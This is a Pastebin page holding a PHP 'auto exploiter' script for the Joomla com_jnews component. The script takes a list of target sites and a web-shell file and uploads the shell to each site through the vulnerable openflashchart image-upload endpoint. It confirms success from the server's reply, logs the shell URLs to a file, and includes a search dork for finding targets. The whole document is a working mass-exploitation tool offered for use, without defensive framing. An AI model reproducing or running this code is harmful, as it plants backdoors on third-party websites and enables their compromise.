daily pastebin goal
69%
SHARE
TWEET

Joomla com_jnews Auto Exploiter

Berandal666 Mar 30th, 2017 53 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. /*
  4.  
  5. jnews auto exploiter by yunusIncredibl
  6.  
  7. exploit dork : inurl:index.php?option=com_jnews
  8.  
  9. &copy 2014
  10.  
  11. */
  12.  
  13. set_time_limit (0);
  14.  
  15. if (!isset ($argv[1], $argv[2]))
  16.     die ("\nUsage : php {$argv[0]} sites.txt shell.php\n");
  17.  
  18. (!file_exists ($argv[1]) || !file_exists ($argv[2])) ? die ("File Not Found !") : NULL;
  19.  
  20. $array = explode ("\n", trim (file_get_contents($argv[1])));
  21.  
  22. echo "Loaded : ".count ($array)." Website\n";
  23. echo "Note : the result will be saved to \"res.txt\" File !\n\n";
  24.  
  25. jnews ($array, "yunus.pHp", file_get_contents ($argv[2]));
  26.  
  27. function jnews ($urls, $name, $content)
  28. {
  29.     $path = "/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=$name";
  30.     $data = "s3c-k.com\n".$content;
  31.     $pattern = "/Saving your image to/i";
  32.  
  33.     if (!function_exists ("curl_init"))
  34.         die ("This Script uses cURL Library, You Must Install it First !\nhttp://www.php.net/manual/en/curl.installation.php\n");
  35.  
  36.     $file = fopen ("res.txt", "a");
  37.  
  38.     $handle = curl_init ();
  39.     curl_setopt ($handle, CURLOPT_RETURNTRANSFER, true);
  40.     curl_setopt ($handle, CURLOPT_HTTPHEADER, array ('Content-Type: application/xml'));
  41.     curl_setopt ($handle, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1");
  42.     curl_setopt ($handle, CURLOPT_POST, 1);
  43.     curl_setopt ($handle, CURLOPT_POSTFIELDS, $data);
  44.  
  45.     foreach ($urls as $url)
  46.     {
  47.         curl_setopt ($handle, CURLOPT_URL, $url.$path);
  48.         $source = curl_exec ($handle);
  49.         if (preg_match ($pattern, $source))
  50.         {
  51.             $u = "$url/components/com_jnews/includes/openflashchart/tmp-upload-images/$name\n";
  52.             echo "ok -> $u\n";
  53.             fwrite ($file, $u);
  54.         }
  55.         else
  56.             echo "no -> $url\n\n";
  57.     }
  58.     fclose ($file);
  59.     curl_close($handle);
  60. }
  61. ?>
RAW Paste Data
Top